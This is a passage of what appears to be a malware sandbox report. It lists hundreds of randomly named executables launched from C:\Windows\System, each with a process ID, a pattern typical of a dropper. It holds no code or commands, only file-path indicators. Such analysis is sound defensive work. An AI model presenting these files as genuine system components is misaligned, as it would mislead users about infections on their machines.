- C:\Windows\System\YtobUXp.exe
  C:\Windows\System\YtobUXp.exe
  2⤵
  PID:4308
- C:\Windows\System\gcGJvQd.exe
  C:\Windows\System\gcGJvQd.exe
  2⤵
  PID:4324
- C:\Windows\System\euKWIbD.exe
  C:\Windows\System\euKWIbD.exe
  2⤵
  PID:4340
- C:\Windows\System\RJdLsnc.exe
  C:\Windows\System\RJdLsnc.exe
  2⤵
  PID:4356
- C:\Windows\System\kOCiQJg.exe
  C:\Windows\System\kOCiQJg.exe
  2⤵
  PID:4372
- C:\Windows\System\dTKJrkf.exe
  C:\Windows\System\dTKJrkf.exe
  2⤵
  PID:4388
- C:\Windows\System\tCbAXjZ.exe
  C:\Windows\System\tCbAXjZ.exe
  2⤵
  PID:4404
- C:\Windows\System\ZnueaWk.exe
  C:\Windows\System\ZnueaWk.exe
  2⤵
  PID:4420
- C:\Windows\System\ZvwaDzC.exe
  C:\Windows\System\ZvwaDzC.exe
  2⤵
  PID:4436
- C:\Windows\System\vplgwbz.exe
  C:\Windows\System\vplgwbz.exe
  2⤵
  PID:4452
- C:\Windows\System\PNEmKPE.exe
  C:\Windows\System\PNEmKPE.exe
  2⤵
  PID:4468
- C:\Windows\System\LjHtIAZ.exe
  C:\Windows\System\LjHtIAZ.exe
  2⤵
  PID:4484
- C:\Windows\System\HPVoWtQ.exe
  C:\Windows\System\HPVoWtQ.exe
  2⤵
  PID:4500
- C:\Windows\System\oNfoeHa.exe
  C:\Windows\System\oNfoeHa.exe
  2⤵
  PID:4516
- C:\Windows\System\HAeUglG.exe
  C:\Windows\System\HAeUglG.exe
  2⤵
  PID:4532
- C:\Windows\System\ONkNxvX.exe
  C:\Windows\System\ONkNxvX.exe
  2⤵
  PID:4548
- C:\Windows\System\zOjYLrA.exe
  C:\Windows\System\zOjYLrA.exe
  2⤵
  PID:4564
- C:\Windows\System\ZpeOJBX.exe
  C:\Windows\System\ZpeOJBX.exe
  2⤵
  PID:4580
- C:\Windows\System\XZeqOEP.exe
  C:\Windows\System\XZeqOEP.exe
  2⤵
  PID:4596
- C:\Windows\System\zOToPtD.exe
  C:\Windows\System\zOToPtD.exe
  2⤵
  PID:4612
- C:\Windows\System\KYHZwmN.exe
  C:\Windows\System\KYHZwmN.exe
  2⤵
  PID:4628
- C:\Windows\System\vYyeAsi.exe
  C:\Windows\System\vYyeAsi.exe
  2⤵
  PID:4644
- C:\Windows\System\mzEABIb.exe
  C:\Windows\System\mzEABIb.exe
  2⤵
  PID:4660
- C:\Windows\System\nABHXqm.exe
  C:\Windows\System\nABHXqm.exe
  2⤵
  PID:4676
- C:\Windows\System\qeRYgne.exe
  C:\Windows\System\qeRYgne.exe
  2⤵
  PID:4692
- C:\Windows\System\GLQpbDU.exe
  C:\Windows\System\GLQpbDU.exe
  2⤵
  PID:4708
- C:\Windows\System\UmxITEL.exe
  C:\Windows\System\UmxITEL.exe
  2⤵
  PID:4724
- C:\Windows\System\hCeznlo.exe
  C:\Windows\System\hCeznlo.exe
  2⤵
  PID:4740
- C:\Windows\System\BkOMYbo.exe
  C:\Windows\System\BkOMYbo.exe
  2⤵
  PID:4756
- C:\Windows\System\uIRpXJb.exe
  C:\Windows\System\uIRpXJb.exe
  2⤵
  PID:4772
- C:\Windows\System\tNJiFku.exe
  C:\Windows\System\tNJiFku.exe
  2⤵
  PID:4788
- C:\Windows\System\MwYIXiH.exe
  C:\Windows\System\MwYIXiH.exe
  2⤵
  PID:4804
- C:\Windows\System\azqlDix.exe
  C:\Windows\System\azqlDix.exe
  2⤵
  PID:4820
- C:\Windows\System\wxWZsLT.exe
  C:\Windows\System\wxWZsLT.exe
  2⤵
  PID:4836
- C:\Windows\System\rpLQlnP.exe
  C:\Windows\System\rpLQlnP.exe
  2⤵
  PID:4852
- C:\Windows\System\vyFcPfP.exe
  C:\Windows\System\vyFcPfP.exe
  2⤵
  PID:4868
- C:\Windows\System\ZqtFDFj.exe
  C:\Windows\System\ZqtFDFj.exe
  2⤵
  PID:4884
- C:\Windows\System\GiOtviT.exe
  C:\Windows\System\GiOtviT.exe
  2⤵
  PID:4900
- C:\Windows\System\TBsBeRR.exe
  C:\Windows\System\TBsBeRR.exe
  2⤵
  PID:4916
- C:\Windows\System\vyYdROX.exe
  C:\Windows\System\vyYdROX.exe
  2⤵
  PID:4932
- C:\Windows\System\nRdCiEM.exe
  C:\Windows\System\nRdCiEM.exe
  2⤵
  PID:4948
- C:\Windows\System\SWDbbVy.exe
  C:\Windows\System\SWDbbVy.exe
  2⤵
  PID:4964
- C:\Windows\System\sWDLUBn.exe
  C:\Windows\System\sWDLUBn.exe
  2⤵
  PID:4980
- C:\Windows\System\OGCQifZ.exe
  C:\Windows\System\OGCQifZ.exe
  2⤵
  PID:4996
- C:\Windows\System\DRUvxkM.exe
  C:\Windows\System\DRUvxkM.exe
  2⤵
  PID:5012
- C:\Windows\System\cdkYROc.exe
  C:\Windows\System\cdkYROc.exe
  2⤵
  PID:5028
- C:\Windows\System\VnInhdH.exe
  C:\Windows\System\VnInhdH.exe
  2⤵
  PID:5044
- C:\Windows\System\wXCLECD.exe
  C:\Windows\System\wXCLECD.exe
  2⤵
  PID:5060
- C:\Windows\System\VyHaELN.exe
  C:\Windows\System\VyHaELN.exe
  2⤵
  PID:5076
- C:\Windows\System\wMXjheg.exe
  C:\Windows\System\wMXjheg.exe
  2⤵
  PID:5092
- C:\Windows\System\FZUOoRy.exe
  C:\Windows\System\FZUOoRy.exe
  2⤵
  PID:5108
- C:\Windows\System\iPFYzlv.exe
  C:\Windows\System\iPFYzlv.exe
  2⤵
  PID:3336
- C:\Windows\System\wTjJNxD.exe
  C:\Windows\System\wTjJNxD.exe
  2⤵
  PID:3960
- C:\Windows\System\ujPnNBR.exe
  C:\Windows\System\ujPnNBR.exe
  2⤵
  PID:4088
- C:\Windows\System\xHPhJbs.exe
  C:\Windows\System\xHPhJbs.exe
  2⤵
  PID:1936
- C:\Windows\System\yAAFnXo.exe
  C:\Windows\System\yAAFnXo.exe
  2⤵
  PID:988
- C:\Windows\System\PiSHqyY.exe
  C:\Windows\System\PiSHqyY.exe
  2⤵
  PID:1972
- C:\Windows\System\WSYVTOD.exe
  C:\Windows\System\WSYVTOD.exe
  2⤵
  PID:4144
- C:\Windows\System\AjGooiu.exe
  C:\Windows\System\AjGooiu.exe
  2⤵
  PID:3016
- C:\Windows\System\xzGkvyR.exe
  C:\Windows\System\xzGkvyR.exe
  2⤵
  PID:4148
- C:\Windows\System\rcSSNbL.exe
  C:\Windows\System\rcSSNbL.exe
  2⤵
  PID:3592
- C:\Windows\System\XxWfvwc.exe
  C:\Windows\System\XxWfvwc.exe
  2⤵
  PID:4164
- C:\Windows\System\LppDPCb.exe
  C:\Windows\System\LppDPCb.exe
  2⤵
  PID:4180
- C:\Windows\System\uXNMKls.exe
  C:\Windows\System\uXNMKls.exe
  2⤵
  PID:4196
- C:\Windows\System\WpuSuxI.exe
  C:\Windows\System\WpuSuxI.exe
  2⤵
  PID:4236
- C:\Windows\System\QhXyvJL.exe
  C:\Windows\System\QhXyvJL.exe
  2⤵
  PID:4300
- C:\Windows\System\YwNpcjb.exe
  C:\Windows\System\YwNpcjb.exe
  2⤵
  PID:4304
- C:\Windows\System\dZytKnN.exe
  C:\Windows\System\dZytKnN.exe
  2⤵
  PID:4336
- C:\Windows\System\uKnjLUB.exe
  C:\Windows\System\uKnjLUB.exe
  2⤵
  PID:4220
- C:\Windows\System\djLRxgV.exe
  C:\Windows\System\djLRxgV.exe
  2⤵
  PID:4396
- C:\Windows\System\WokIfjm.exe
  C:\Windows\System\WokIfjm.exe
  2⤵
  PID:4384
- C:\Windows\System\YtkGLTm.exe
  C:\Windows\System\YtkGLTm.exe
  2⤵
  PID:4464
- C:\Windows\System\yNprxhi.exe
  C:\Windows\System\yNprxhi.exe
  2⤵
  PID:4448
- C:\Windows\System\ZyFjfkt.exe
  C:\Windows\System\ZyFjfkt.exe
  2⤵
  PID:4524
- C:\Windows\System\dzdreqV.exe
  C:\Windows\System\dzdreqV.exe
  2⤵
  PID:4588
- C:\Windows\System\mfeDVTs.exe
  C:\Windows\System\mfeDVTs.exe
  2⤵
  PID:4508
- C:\Windows\System\TZLmEKY.exe
  C:\Windows\System\TZLmEKY.exe
  2⤵
  PID:4620
- C:\Windows\System\EKlINQz.exe
  C:\Windows\System\EKlINQz.exe
  2⤵
  PID:4656
- C:\Windows\System\gguUPSs.exe
  C:\Windows\System\gguUPSs.exe
  2⤵
  PID:4688
- C:\Windows\System\qRmXQXO.exe
  C:\Windows\System\qRmXQXO.exe
  2⤵
  PID:4752
- C:\Windows\System\UAXiNBf.exe
  C:\Windows\System\UAXiNBf.exe
  2⤵
  PID:4816
- C:\Windows\System\ewGENUh.exe
  C:\Windows\System\ewGENUh.exe
  2⤵
  PID:4668
- C:\Windows\System\toAXGTf.exe
  C:\Windows\System\toAXGTf.exe
  2⤵
  PID:4704
- C:\Windows\System\zxcexHh.exe
  C:\Windows\System\zxcexHh.exe
  2⤵
  PID:4796
- C:\Windows\System\sBMGAVj.exe
  C:\Windows\System\sBMGAVj.exe
  2⤵
  PID:4880
- C:\Windows\System\EOACUco.exe
  C:\Windows\System\EOACUco.exe
  2⤵
  PID:4896
- C:\Windows\System\votSOSA.exe
  C:\Windows\System\votSOSA.exe
  2⤵
  PID:4972
- C:\Windows\System\pmbCEjv.exe
  C:\Windows\System\pmbCEjv.exe
  2⤵
  PID:4992
- C:\Windows\System\zTprasv.exe
  C:\Windows\System\zTprasv.exe
  2⤵
  PID:4960
- C:\Windows\System\kedUihp.exe
  C:\Windows\System\kedUihp.exe
  2⤵
  PID:5040
- C:\Windows\System\tDwgrRj.exe
  C:\Windows\System\tDwgrRj.exe
  2⤵
  PID:5100
- C:\Windows\System\dNyTCiI.exe
  C:\Windows\System\dNyTCiI.exe
  2⤵
  PID:1196
- C:\Windows\System\rMBrtVx.exe
  C:\Windows\System\rMBrtVx.exe
  2⤵
  PID:5084
- C:\Windows\System\GivHmoc.exe
  C:\Windows\System\GivHmoc.exe
  2⤵
  PID:1976
- C:\Windows\System\cOQugCz.exe
  C:\Windows\System\cOQugCz.exe
  2⤵
  PID:4380
- C:\Windows\System\lFmqLhT.exe
  C:\Windows\System\lFmqLhT.exe
  2⤵
  PID:1684
- C:\Windows\System\YsPqLTJ.exe
  C:\Windows\System\YsPqLTJ.exe
  2⤵
  PID:4176
- C:\Windows\System\fNtGYif.exe
  C:\Windows\System\fNtGYif.exe
  2⤵
  PID:4224
- C:\Windows\System\SpquAPA.exe
  C:\Windows\System\SpquAPA.exe
  2⤵
  PID:4480
- C:\Windows\System\mqvaYAr.exe
  C:\Windows\System\mqvaYAr.exe
  2⤵
  PID:4576
- C:\Windows\System\OGULzJb.exe
  C:\Windows\System\OGULzJb.exe
  2⤵
  PID:4812
- C:\Windows\System\CDmumId.exe
  C:\Windows\System\CDmumId.exe
  2⤵
  PID:1284
- C:\Windows\System\iuWZWyk.exe
  C:\Windows\System\iuWZWyk.exe
  2⤵
  PID:4188
- C:\Windows\System\rWvdMHq.exe
  C:\Windows\System\rWvdMHq.exe
  2⤵
  PID:4736
- C:\Windows\System\XGTYMLv.exe
  C:\Windows\System\XGTYMLv.exe
  2⤵
  PID:4332
- C:\Windows\System\ZRSfPNl.exe
  C:\Windows\System\ZRSfPNl.exe
  2⤵
  PID:4624
- C:\Windows\System\FYyKdKf.exe
  C:\Windows\System\FYyKdKf.exe
  2⤵
  PID:4540
- C:\Windows\System\abNkdsb.exe
  C:\Windows\System\abNkdsb.exe
  2⤵
  PID:3196
- C:\Windows\System\pvalWwh.exe
  C:\Windows\System\pvalWwh.exe
  2⤵
  PID:4864
- C:\Windows\System\NtnfrOv.exe
  C:\Windows\System\NtnfrOv.exe
  2⤵
  PID:4764
- C:\Windows\System\mnMdndW.exe
  C:\Windows\System\mnMdndW.exe
  2⤵
  PID:5004
- C:\Windows\System\cjmKkTd.exe
  C:\Windows\System\cjmKkTd.exe
  2⤵
  PID:4928
- C:\Windows\System\GRSbrYQ.exe
  C:\Windows\System\GRSbrYQ.exe
  2⤵
  PID:3464
- C:\Windows\System\jvxpaFl.exe
  C:\Windows\System\jvxpaFl.exe
  2⤵
  PID:3056
- C:\Windows\System\YSivzcT.exe
  C:\Windows\System\YSivzcT.exe
  2⤵
  PID:3064
- C:\Windows\System\KuXbxrT.exe
  C:\Windows\System\KuXbxrT.exe
  2⤵
  PID:4208
- C:\Windows\System\qhuLKZs.exe
  C:\Windows\System\qhuLKZs.exe
  2⤵
  PID:4544
- C:\Windows\System\atjHaav.exe
  C:\Windows\System\atjHaav.exe
  2⤵
  PID:4136
- C:\Windows\System\BKdbyNv.exe
  C:\Windows\System\BKdbyNv.exe
  2⤵
  PID:4352
- C:\Windows\System\OxerbXz.exe
  C:\Windows\System\OxerbXz.exe
  2⤵
  PID:4720
- C:\Windows\System\LeMxhzr.exe
  C:\Windows\System\LeMxhzr.exe
  2⤵
  PID:4652
- C:\Windows\System\tSxyXTF.exe
  C:\Windows\System\tSxyXTF.exe
  2⤵
  PID:4768
- C:\Windows\System\ANDIwct.exe
  C:\Windows\System\ANDIwct.exe
  2⤵
  PID:4892
- C:\Windows\System\bgFOQGp.exe
  C:\Windows\System\bgFOQGp.exe
  2⤵
  PID:4416
- C:\Windows\System\XwlwZAS.exe
  C:\Windows\System\XwlwZAS.exe
  2⤵
  PID:4172
- C:\Windows\System\kGNxVTb.exe
  C:\Windows\System\kGNxVTb.exe
  2⤵
  PID:4272
- C:\Windows\System\jnnYYZh.exe
  C:\Windows\System\jnnYYZh.exe
  2⤵
  PID:5072
- C:\Windows\System\qdVLziz.exe
  C:\Windows\System\qdVLziz.exe
  2⤵
  PID:3640
- C:\Windows\System\wEyxLEs.exe
  C:\Windows\System\wEyxLEs.exe
  2⤵
  PID:4860
- C:\Windows\System\KUDfqwd.exe
  C:\Windows\System\KUDfqwd.exe
  2⤵
  PID:5104
- C:\Windows\System\JUwXhbu.exe
  C:\Windows\System\JUwXhbu.exe
  2⤵
  PID:4320
- C:\Windows\System\CxSHnFA.exe
  C:\Windows\System\CxSHnFA.exe
  2⤵
  PID:4124
- C:\Windows\System\iPwObmd.exe
  C:\Windows\System\iPwObmd.exe
  2⤵
  PID:5136
- C:\Windows\System\sMpvCkO.exe
  C:\Windows\System\sMpvCkO.exe
  2⤵
  PID:5152
- C:\Windows\System\MoEBHIH.exe
  C:\Windows\System\MoEBHIH.exe
  2⤵
  PID:5168
- C:\Windows\System\aLIFpcC.exe
  C:\Windows\System\aLIFpcC.exe
  2⤵
  PID:5184
- C:\Windows\System\UGkVyJs.exe
  C:\Windows\System\UGkVyJs.exe
  2⤵
  PID:5200
- C:\Windows\System\hjOdFHs.exe
  C:\Windows\System\hjOdFHs.exe
  2⤵
  PID:5216
- C:\Windows\System\iqKvgdA.exe
  C:\Windows\System\iqKvgdA.exe
  2⤵
  PID:5232
- C:\Windows\System\qKQtRfP.exe
  C:\Windows\System\qKQtRfP.exe
  2⤵
  PID:5248
- C:\Windows\System\HBlTYST.exe
  C:\Windows\System\HBlTYST.exe
  2⤵
  PID:5264
- C:\Windows\System\kwhelHM.exe
  C:\Windows\System\kwhelHM.exe
  2⤵
  PID:5280
- C:\Windows\System\hWZfXYT.exe
  C:\Windows\System\hWZfXYT.exe
  2⤵
  PID:5296
- C:\Windows\System\SeNopSA.exe
  C:\Windows\System\SeNopSA.exe
  2⤵
  PID:5312
- C:\Windows\System\mRGtPwy.exe
  C:\Windows\System\mRGtPwy.exe
  2⤵
  PID:5328
- C:\Windows\System\cPeyWoz.exe
  C:\Windows\System\cPeyWoz.exe
  2⤵
  PID:5344
- C:\Windows\System\eEDnEOq.exe
  C:\Windows\System\eEDnEOq.exe
  2⤵
  PID:5360
- C:\Windows\System\xDbJjdn.exe
  C:\Windows\System\xDbJjdn.exe
  2⤵
  PID:5376
- C:\Windows\System\CctISvX.exe
  C:\Windows\System\CctISvX.exe
  2⤵
  PID:5392
- C:\Windows\System\pkKfqzG.exe
  C:\Windows\System\pkKfqzG.exe
  2⤵
  PID:5408
- C:\Windows\System\SnMUCIq.exe
  C:\Windows\System\SnMUCIq.exe
  2⤵
  PID:5424
- C:\Windows\System\zVNgLqr.exe
  C:\Windows\System\zVNgLqr.exe
  2⤵
  PID:5440
- C:\Windows\System\JSAddJd.exe
  C:\Windows\System\JSAddJd.exe
  2⤵
  PID:5456
- C:\Windows\System\cQSrnQK.exe
  C:\Windows\System\cQSrnQK.exe
  2⤵
  PID:5472
- C:\Windows\System\elfpERw.exe
  C:\Windows\System\elfpERw.exe
  2⤵
  PID:5488
- C:\Windows\System\vkFTAQQ.exe
  C:\Windows\System\vkFTAQQ.exe
  2⤵
  PID:5504
- C:\Windows\System\tncYThO.exe
  C:\Windows\System\tncYThO.exe
  2⤵
  PID:5520
- C:\Windows\System\FAZIHXY.exe
  C:\Windows\System\FAZIHXY.exe
  2⤵
  PID:5536
- C:\Windows\System\RuRdbcN.exe
  C:\Windows\System\RuRdbcN.exe
  2⤵
  PID:5552
- C:\Windows\System\OgViNMZ.exe
  C:\Windows\System\OgViNMZ.exe
  2⤵
  PID:5568
- C:\Windows\System\nNDamIm.exe
  C:\Windows\System\nNDamIm.exe
  2⤵
  PID:5584
- C:\Windows\System\DQujnNs.exe
  C:\Windows\System\DQujnNs.exe
  2⤵
  PID:5600
- C:\Windows\System\GHKrguB.exe
  C:\Windows\System\GHKrguB.exe
  2⤵
  PID:5616
- C:\Windows\System\iiAghyM.exe
  C:\Windows\System\iiAghyM.exe
  2⤵
  PID:5632
- C:\Windows\System\WcAbcZS.exe
  C:\Windows\System\WcAbcZS.exe
  2⤵
  PID:5648
- C:\Windows\System\hpClcdV.exe
  C:\Windows\System\hpClcdV.exe
  2⤵
  PID:5664
- C:\Windows\System\nanOlUs.exe
  C:\Windows\System\nanOlUs.exe
  2⤵
  PID:5680
- C:\Windows\System\DrzmuzM.exe
  C:\Windows\System\DrzmuzM.exe
  2⤵
  PID:5696
- C:\Windows\System\ILcVEwT.exe
  C:\Windows\System\ILcVEwT.exe
  2⤵
  PID:5712
- C:\Windows\System\eHXYvWD.exe
  C:\Windows\System\eHXYvWD.exe
  2⤵
  PID:5728
- C:\Windows\System\rcJnICF.exe
  C:\Windows\System\rcJnICF.exe
  2⤵
  PID:5744
- C:\Windows\System\PzTYfLX.exe
  C:\Windows\System\PzTYfLX.exe
  2⤵
  PID:5760
- C:\Windows\System\OBdUkbV.exe
  C:\Windows\System\OBdUkbV.exe
  2⤵
  PID:5776
- C:\Windows\System\LFjpSZl.exe
  C:\Windows\System\LFjpSZl.exe
  2⤵
  PID:5792
- C:\Windows\System\BvKyDhx.exe
  C:\Windows\System\BvKyDhx.exe
  2⤵
  PID:5808
- C:\Windows\System\fZPsdvq.exe
  C:\Windows\System\fZPsdvq.exe
  2⤵
  PID:5824
- C:\Windows\System\mPZsneg.exe
  C:\Windows\System\mPZsneg.exe
  2⤵
  PID:5840
- C:\Windows\System\MFKDGut.exe
  C:\Windows\System\MFKDGut.exe
  2⤵
  PID:5856
- C:\Windows\System\PAhWUtH.exe
  C:\Windows\System\PAhWUtH.exe
  2⤵
  PID:5872
- C:\Windows\System\bgfmPeA.exe
  C:\Windows\System\bgfmPeA.exe
  2⤵
  PID:5888
- C:\Windows\System\zJaKkRM.exe
  C:\Windows\System\zJaKkRM.exe
  2⤵
  PID:5904
- C:\Windows\System\vAoGBDQ.exe
  C:\Windows\System\vAoGBDQ.exe
  2⤵
  PID:5920
- C:\Windows\System\WNKkusr.exe
  C:\Windows\System\WNKkusr.exe
  2⤵
  PID:5936
- C:\Windows\System\mupodqE.exe
  C:\Windows\System\mupodqE.exe
  2⤵
  PID:5952
- C:\Windows\System\dJQQyRb.exe
  C:\Windows\System\dJQQyRb.exe
  2⤵
  PID:5968
- C:\Windows\System\hqhfPQX.exe
  C:\Windows\System\hqhfPQX.exe
  2⤵
  PID:5984
- C:\Windows\System\pzxfmSG.exe
  C:\Windows\System\pzxfmSG.exe
  2⤵
  PID:6000
- C:\Windows\System\RpbAECd.exe
  C:\Windows\System\RpbAECd.exe
  2⤵
  PID:6016
- C:\Windows\System\qkhFysU.exe
  C:\Windows\System\qkhFysU.exe
  2⤵
  PID:6032
- C:\Windows\System\hnwokkY.exe
  C:\Windows\System\hnwokkY.exe
  2⤵
  PID:6048
- C:\Windows\System\pZgGhDf.exe
  C:\Windows\System\pZgGhDf.exe
  2⤵
  PID:6064
- C:\Windows\System\nkGJiHR.exe
  C:\Windows\System\nkGJiHR.exe
  2⤵
  PID:6080
- C:\Windows\System\JzFbYYl.exe
  C:\Windows\System\JzFbYYl.exe
  2⤵
  PID:6096
- C:\Windows\System\RzhQlsQ.exe
  C:\Windows\System\RzhQlsQ.exe
  2⤵
  PID:6112
- C:\Windows\System\aoYmUBU.exe
  C:\Windows\System\aoYmUBU.exe
  2⤵
  PID:6128
- C:\Windows\System\VwwxbXr.exe
  C:\Windows\System\VwwxbXr.exe
  2⤵
  PID:4844
- C:\Windows\System\TyePBvn.exe
  C:\Windows\System\TyePBvn.exe
  2⤵
  PID:4784
- C:\Windows\System\wrwTQmZ.exe
  C:\Windows\System\wrwTQmZ.exe
  2⤵
  PID:5192
- C:\Windows\System\soaOmDN.exe
  C:\Windows\System\soaOmDN.exe
  2⤵
  PID:5144
- C:\Windows\System\srEaugs.exe
  C:\Windows\System\srEaugs.exe
  2⤵
  PID:5228
- C:\Windows\System\IxCKDvC.exe
  C:\Windows\System\IxCKDvC.exe
  2⤵
  PID:5244
- C:\Windows\System\bmbYKDD.exe
  C:\Windows\System\bmbYKDD.exe
  2⤵
  PID:5324
- C:\Windows\System\fKsBHWe.exe
  C:\Windows\System\fKsBHWe.exe
  2⤵
  PID:5240
- C:\Windows\System\wgNERcf.exe
  C:\Windows\System\wgNERcf.exe
  2⤵
  PID:5368
- C:\Windows\System\HyYZiMs.exe
  C:\Windows\System\HyYZiMs.exe
  2⤵
  PID:5384
- C:\Windows\System\jEdGvuK.exe
  C:\Windows\System\jEdGvuK.exe
  2⤵
  PID:5420
- C:\Windows\System\ZbyLtci.exe
  C:\Windows\System\ZbyLtci.exe
  2⤵
  PID:5448
- C:\Windows\System\VoEHPkM.exe
  C:\Windows\System\VoEHPkM.exe
  2⤵
  PID:5484
- C:\Windows\System\WxDssxi.exe
  C:\Windows\System\WxDssxi.exe
  2⤵
  PID:5548
- C:\Windows\System\zUcwhNi.exe
  C:\Windows\System\zUcwhNi.exe
  2⤵
  PID:5580
- C:\Windows\System\HcuhnHD.exe
  C:\Windows\System\HcuhnHD.exe
  2⤵
  PID:5608
- C:\Windows\System\tpFMxFW.exe
  C:\Windows\System\tpFMxFW.exe
  2⤵
  PID:5596
- C:\Windows\System\PkQVpQW.exe
  C:\Windows\System\PkQVpQW.exe
  2⤵
  PID:5624
- C:\Windows\System\lcFHltC.exe
  C:\Windows\System\lcFHltC.exe
  2⤵
  PID:5672
- C:\Windows\System\CamRKQc.exe
  C:\Windows\System\CamRKQc.exe
  2⤵
  PID:5692
- C:\Windows\System\hAgXwhq.exe
  C:\Windows\System\hAgXwhq.exe
  2⤵
  PID:5736
- C:\Windows\System\SJegmXD.exe
  C:\Windows\System\SJegmXD.exe
  2⤵
  PID:5800
- C:\Windows\System\lBRWVwV.exe
  C:\Windows\System\lBRWVwV.exe
  2⤵
  PID:5784
- C:\Windows\System\OYLNnYh.exe
  C:\Windows\System\OYLNnYh.exe
  2⤵
  PID:5832
- C:\Windows\System\uWHEeAR.exe
  C:\Windows\System\uWHEeAR.exe
  2⤵
  PID:5848
- C:\Windows\System\KCMTHJQ.exe
  C:\Windows\System\KCMTHJQ.exe
  2⤵
  PID:5912
- C:\Windows\System\ksoalEq.exe
  C:\Windows\System\ksoalEq.exe
  2⤵
  PID:5928
- C:\Windows\System\IJtVeEL.exe
  C:\Windows\System\IJtVeEL.exe
  2⤵
  PID:5944
- C:\Windows\System\mvFIBmy.exe
  C:\Windows\System\mvFIBmy.exe
  2⤵
  PID:6028
- C:\Windows\System\phpjdzb.exe
  C:\Windows\System\phpjdzb.exe
  2⤵
  PID:5980
- C:\Windows\System\lWxkCNF.exe
  C:\Windows\System\lWxkCNF.exe
  2⤵
  PID:6088
- C:\Windows\System\AuGxWcY.exe
  C:\Windows\System\AuGxWcY.exe
  2⤵
  PID:6072
- C:\Windows\System\EEvCZpZ.exe
  C:\Windows\System\EEvCZpZ.exe
  2⤵
  PID:6124
- C:\Windows\System\brwxHQb.exe
  C:\Windows\System\brwxHQb.exe
  2⤵
  PID:6104
- C:\Windows\System\wsXiOQb.exe
  C:\Windows\System\wsXiOQb.exe
  2⤵
  PID:5180
- C:\Windows\System\iuqfkzU.exe
  C:\Windows\System\iuqfkzU.exe
  2⤵
  PID:5224
- C:\Windows\System\rlTSVrk.exe
  C:\Windows\System\rlTSVrk.exe
  2⤵
  PID:5356
- C:\Windows\System\nirXdSc.exe
  C:\Windows\System\nirXdSc.exe
  2⤵
  PID:5372
- C:\Windows\System\dQDJORD.exe
  C:\Windows\System\dQDJORD.exe
  2⤵
  PID:5436
- C:\Windows\System\UcKOQta.exe
  C:\Windows\System\UcKOQta.exe
  2⤵
  PID:5516
- C:\Windows\System\ifrkwqz.exe
  C:\Windows\System\ifrkwqz.exe
  2⤵
  PID:5564
- C:\Windows\System\cUoGVxA.exe
  C:\Windows\System\cUoGVxA.exe
  2⤵
  PID:5532
- C:\Windows\System\LLTMuPB.exe
  C:\Windows\System\LLTMuPB.exe
  2⤵
  PID:5720
- C:\Windows\System\JCugEXk.exe
  C:\Windows\System\JCugEXk.exe
  2⤵
  PID:5772
- C:\Windows\System\KoAwErO.exe
  C:\Windows\System\KoAwErO.exe
  2⤵
  PID:5752
- C:\Windows\System\aFqBZFU.exe
  C:\Windows\System\aFqBZFU.exe
  2⤵
  PID:5864
- C:\Windows\System\CaZJBML.exe
  C:\Windows\System\CaZJBML.exe
  2⤵
  PID:5868
- C:\Windows\System\GshbGKC.exe
  C:\Windows\System\GshbGKC.exe
  2⤵
  PID:6120
- C:\Windows\System\xpKZITB.exe
  C:\Windows\System\xpKZITB.exe
  2⤵
  PID:5996
- C:\Windows\System\cZjQpXS.exe
  C:\Windows\System\cZjQpXS.exe
  2⤵
  PID:6044
- C:\Windows\System\ftBDFzf.exe
  C:\Windows\System\ftBDFzf.exe
  2⤵
  PID:5164
- C:\Windows\System\VctGioY.exe
  C:\Windows\System\VctGioY.exe
  2⤵
  PID:5336
- C:\Windows\System\hkMOAEc.exe
  C:\Windows\System\hkMOAEc.exe
  2⤵
  PID:5208
- C:\Windows\System\koXSooU.exe
  C:\Windows\System\koXSooU.exe
  2⤵
  PID:5528
- C:\Windows\System\DUrcOPV.exe
  C:\Windows\System\DUrcOPV.exe
  2⤵
  PID:5768
- C:\Windows\System\hHLviqN.exe
  C:\Windows\System\hHLviqN.exe
  2⤵
  PID:5976
- C:\Windows\System\moEuTUL.exe
  C:\Windows\System\moEuTUL.exe
  2⤵
  PID:5176
- C:\Windows\System\ZCubdHU.exe
  C:\Windows\System\ZCubdHU.exe
  2⤵
  PID:5820
- C:\Windows\System\WhrGVlA.exe
  C:\Windows\System\WhrGVlA.exe
  2⤵
  PID:5948
- C:\Windows\System\RGTHJtW.exe
  C:\Windows\System\RGTHJtW.exe
  2⤵
  PID:6040
- C:\Windows\System\vxYkqih.exe
  C:\Windows\System\vxYkqih.exe
  2⤵
  PID:5708
- C:\Windows\System\XkGOdhe.exe
  C:\Windows\System\XkGOdhe.exe
  2⤵
  PID:5900
- C:\Windows\System\GBiSIND.exe
  C:\Windows\System\GBiSIND.exe
  2⤵
  PID:6140
- C:\Windows\System\bmBQtbo.exe
  C:\Windows\System\bmBQtbo.exe
  2⤵
  PID:5704
- C:\Windows\System\WCxTMTq.exe
  C:\Windows\System\WCxTMTq.exe
  2⤵
  PID:5260
- C:\Windows\System\vhleVbz.exe
  C:\Windows\System\vhleVbz.exe
  2⤵
  PID:6156
- C:\Windows\System\XHMVLAr.exe
  C:\Windows\System\XHMVLAr.exe
  2⤵
  PID:6172
- C:\Windows\System\mDXHYiM.exe
  C:\Windows\System\mDXHYiM.exe
  2⤵
  PID:6188
- C:\Windows\System\RfkwjLa.exe
  C:\Windows\System\RfkwjLa.exe
  2⤵
  PID:6204
- C:\Windows\System\xgzMfBh.exe
  C:\Windows\System\xgzMfBh.exe
  2⤵
  PID:6220
- C:\Windows\System\HIyTzIX.exe
  C:\Windows\System\HIyTzIX.exe
  2⤵
  PID:6236
- C:\Windows\System\svOuIqm.exe
  C:\Windows\System\svOuIqm.exe
  2⤵
  PID:6252
- C:\Windows\System\MBESBmj.exe
  C:\Windows\System\MBESBmj.exe
  2⤵
  PID:6268
- C:\Windows\System\qIUyZKI.exe
  C:\Windows\System\qIUyZKI.exe
  2⤵
  PID:6284
- C:\Windows\System\RIGBbXg.exe
  C:\Windows\System\RIGBbXg.exe
  2⤵
  PID:6300
- C:\Windows\System\aseykIu.exe
  C:\Windows\System\aseykIu.exe
  2⤵
  PID:6316
- C:\Windows\System\YgQYuZz.exe
  C:\Windows\System\YgQYuZz.exe
  2⤵
  PID:6332
- C:\Windows\System\bgLDQne.exe
  C:\Windows\System\bgLDQne.exe
  2⤵
  PID:6348
- C:\Windows\System\lldLdbK.exe
  C:\Windows\System\lldLdbK.exe
  2⤵
  PID:6364
- C:\Windows\System\EySukQv.exe
  C:\Windows\System\EySukQv.exe
  2⤵
  PID:6380
- C:\Windows\System\ieRTWKG.exe
  C:\Windows\System\ieRTWKG.exe
  2⤵
  PID:6396
- C:\Windows\System\gcXMakH.exe
